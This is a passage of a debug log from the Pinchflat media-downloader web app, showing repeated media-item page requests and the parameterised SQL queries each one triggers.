idle=558.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [73] 23:26:14.529 [debug] QUERY OK source="sources" db=0.2ms idle=558.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:14.529 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=558.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [78] 23:26:14.529 [debug] QUERY OK source="settings" db=0.0ms idle=558.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:14.529 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:14.529 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:14.530 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:14.531 [info] Sent 200 in 3ms 23:26:15.035 [info] GET /sources/1/media/90 23:26:15.035 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:15.035 [debug] QUERY OK source="media_items" db=0.2ms idle=506.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90] 23:26:15.036 [debug] QUERY OK source="tasks" db=0.1ms idle=506.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90] 23:26:15.036 [debug] QUERY OK source="sources" db=0.2ms idle=506.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:15.036 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=506.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [89] 23:26:15.037 [debug] QUERY OK source="settings" db=0.1ms idle=121.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:15.037 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:15.037 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:15.038 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:15.039 [info] Sent 200 in 4ms 23:26:15.540 [info] GET /sources/1/media/75 23:26:15.540 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "75", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:15.540 [debug] QUERY OK source="media_items" db=0.1ms idle=503.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [75] 23:26:15.540 [debug] QUERY OK source="tasks" db=0.1ms idle=503.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [75] 23:26:15.540 [debug] QUERY OK source="sources" db=0.2ms idle=503.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:15.541 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=503.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [80] 23:26:15.541 [debug] QUERY OK source="settings" db=0.1ms idle=503.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:15.541 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:15.542 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:15.542 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:15.544 [info] Sent 200 in 4ms 23:26:16.123 [info] GET /sources/2/media/76 23:26:16.124 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 23:26:16.125 [debug] QUERY OK source="media_items" db=1.1ms idle=582.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76] 23:26:16.125 [debug] QUERY OK source="tasks" db=0.1ms idle=583.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76] 23:26:16.126 [debug] QUERY OK source="sources" db=0.4ms idle=583.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:16.126 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=583.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [81] 23:26:16.127 [debug] QUERY OK source="settings" db=0.1ms idle=209.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:16.127 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:16.127 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:16.128 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:16.129 [info] Sent 200 in 5ms 23:26:16.611 [info] GET /sources/1/media/95 23:26:16.611 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "95", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:16.611 [debug] QUERY OK source="media_items" db=0.1ms idle=485.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [95] 23:26:16.612 [debug] QUERY OK source="tasks" db=0.1ms idle=485.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [95] 23:26:16.612 [debug] QUERY OK source="sources" db=0.2ms idle=484.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:16.612 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=484.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [94] 23:26:16.613 [debug] QUERY OK source="settings" db=0.1ms idle=484.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:16.613 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:16.613 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:16.614 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:16.615 [info] Sent 200 in 4ms 23:26:17.140 [info] GET /sources/1/media/25 23:26:17.140 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "25", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:17.140 [debug] QUERY OK source="media_items" db=0.2ms idle=527.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25] 23:26:17.140 [debug] QUERY OK source="tasks" db=0.1ms idle=527.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [25] 23:26:17.141 [debug] QUERY OK source="sources" db=0.1ms idle=526.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:17.141 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=526.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [28] 23:26:17.141 [debug] QUERY OK source="settings" db=0.0ms idle=222.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:17.141 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:17.142 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:17.142 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:17.143 [info] Sent 200 in 3ms 23:26:17.720 [info] GET /sources/2/media/78 23:26:17.720 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "78", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 23:26:17.721 [debug] QUERY OK source="media_items" db=0.1ms idle=579.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [78] 23:26:17.721 [debug] QUERY OK source="tasks" db=0.2ms idle=579.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [78] 23:26:17.721 [debug] QUERY OK source="sources" db=0.5ms idle=579.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:17.722 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=580.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [83] 23:26:17.722 [debug] QUERY OK source="settings" db=0.1ms idle=579.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:17.722 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:17.723 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:17.723 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:17.725 [info] Sent 200 in 4ms 23:26:18.267 [info] GET /sources/1/media/74 23:26:18.267 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "74", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:18.268 [debug] QUERY OK source="media_items" db=0.1ms idle=545.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [74] 23:26:18.268 [debug] QUERY OK source="sources" db=0.2ms idle=545.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = 